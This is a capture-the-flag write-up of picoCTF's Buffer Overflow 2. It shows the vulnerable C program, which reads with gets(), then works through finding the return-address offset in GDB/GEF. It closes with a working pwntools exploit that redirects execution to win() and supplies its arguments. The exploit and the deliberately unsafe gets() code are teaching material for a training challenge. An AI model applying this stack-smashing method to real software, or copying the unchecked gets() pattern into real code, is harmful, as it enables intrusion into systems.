Buffer Overflow 2

Introduction:

Continuing to the next iteration of Pico CTF’s buffer overflow challenge set we have Buffer Overflow 2. In the previous challenges: Buffer Overflow 0 and Buffer Overflow 1 we explored how to utilize the gets() function to overflow the stack, clobber the return address, and even change the return address to the address of other functions. Now in Buffer Overflow 2, we will be taking the challenge a bit further.

The Challenge:

Buffer Overflow 2 adds on another aspect of the stack that we will need to control, the parameters– or arguments– that are passed to the function that we are jumping to. To be able to do this we are going to need to revisit the stack during the runtime environment, but first, let’s take a look at what they give us.

The Code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Starting off with the main function as per usual we can see that the code sets the stream to STDOUT to be none buffered, and gets the effective gid similarly to the previous challenge, then prints the input prompt to the screen, and calls the vuln() function. The vuln() function is going to be where we can the basis for our exploit, it initializes a buffer, buf to 100 bytes per the BUFSIZE global variable, calls the vulnerable function gets() to fill the buffer, then prints the contents of the buffer using puts. Pretty simple, I like it. Lastly, there is the function that we will be aiming to jump to, win(). Win() takes two unsigned int parameters, arg1, and arg2 creates a buffer to read the flag into, and tried to open the flag file to read into the buffer. If the open fails it asks for us to create a flag, if it succeeds it fills the flag buffer with the contents of the file and checks that its args are the hex values 0xCAFEF00D and 0xF00DF00D, after that if all checks out, it prints the flag. This challenge is not so different than the previous one, we just have a few more things we need to learn how to control.

How Parameters Make It Onto The Stack:

In the above example, we can see the layout of the stack, and starting from the buffer we have buffer -> Base Pointer -> Address of where to return to (Return Function) -> Parameters -> Function. The base pointer indicates the base of the stack frame which essentially just holds the context of the function that we are currently in, which will be in our case, vuln(). Past the base pointer is the return address from where this function was called which we already know how to control. Above that on the stack is context for the function that called whatever function’s stack frame that we were in.

If we look at the diagram above we can see how a function call is set up on the stack, with the return address, followed by the arguments. In this case, the stack is inverted such that high addresses are at the bottom, and low addresses are at the top. Ignoring the Local Variables for Function– since it does not pertain to our current goal– we can see that the order of things needing to get pushed is: return address -> arg1 -> arg2 -> … -> argn.

Controlling Parameters on The Stack:

Now that we have an understanding of how a function is called and what it looks like when it makes its way onto the stack we can apply the knowledge we have learned in the previous challenges along with this knowledge to craft our exploit. We know that if we overflow the buffer, we can change where our code jumps to, but without the proper set up the parameters of the function will not be set, so when thinking about our exploit we have to take that into consideration. For this exploit, we will want the offset from the base of the buffer to the $eip filled with garbage, the new address that we will be jumping to, a phony return address, and finally the values we want to set arg1 and arg2 to. Not a huge step from where we were before so let’s get started.

Finding The Offset:

First, we are going to want to get an idea of how much garbage to write to the buffer to overflow it and get to the return address, and as you might remember we can use GDB / GEF for this:

We know that the buffer size is 100 bytes based on BUFSIZE so in this case we can still use pattern create 128 to get enough to fill the buffer and beyond. Now we can copy the generated pattern, and send it as input to the program.

As we have seen before the program segfaults, awesome! Looks like it segfaulted at 0x62616164 which looks like hex values of a part of our pattern. Let’s fid the offset with pattern offset 0x62616164.

Based on the location of 0x62616164 in our pattern, it looks like the offset from the base of the buffer to the return address is 112 bytes, and the return address will need to be formatted in little-endian. We can make a not of the offset since we will be needing it later on, and rerun the program in GEF to get the address of win() in memory. Set a breakpoint in main using b *main, and then run with the command “r”. once the program pauses, you can use “p win” to get the address.

Looks like the address that we are going to want to jump to is 0x8049296. Let’s make a note of that as well and get to crafting the exploit.

The Exploit:

from pwn import *

context.binary = ELF("./vuln")
offset = 112
new_eip = p32(0x8049296)

with process() as p:
    payload = b"".join(
        [
            b"A" * offset,
            new_eip,
            b"CCCC", # Phony return address for function being called
            p32(0xCAFEF00D),
            p32(0xF00DF00D),
        ]
    )
    print(p.recvuntil(b"Please enter your string: \n"))
    p.sendline(payload)
    print(p.recv())
    print(p.recv())
    print(p.recv())

The exploit here is pretty simple and very similar to our previous one. We import our tools from pwntools, set the context binary, set up our variables, then get to work. In this payload, we want to send enough A’s to get to the return address, then supply the address we want to jump to. After that, we need to set up the parameters for the win function by passing a phony return address (4 bytes is the length of a return address in a 32-bit architecture), then the hex arguments formatted in little-endian as well since that’s how the system will be reading hex values. Once we have that all set to go, we can receive until we have gotten the prompt using recvuntil(), send our payload, and print out a few recv() lines to get our flag.

Running The Exploit:

Once we run the exploit we can see that the challenge behaves exactly how we expected it to, it prompted us for input, we supply the input, the input is displayed on the screen, and boom, the flag is printed!

Conclusion:

This challenge was a great step up from the previous challenge, not too much changed, but we learned more about how the stack handles function calls, and how with the right set up we are able to control not just where we jump to, but also the parameters that are passed to that function. I hope that this write-up was informative and interesting, until next time! Happy Hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *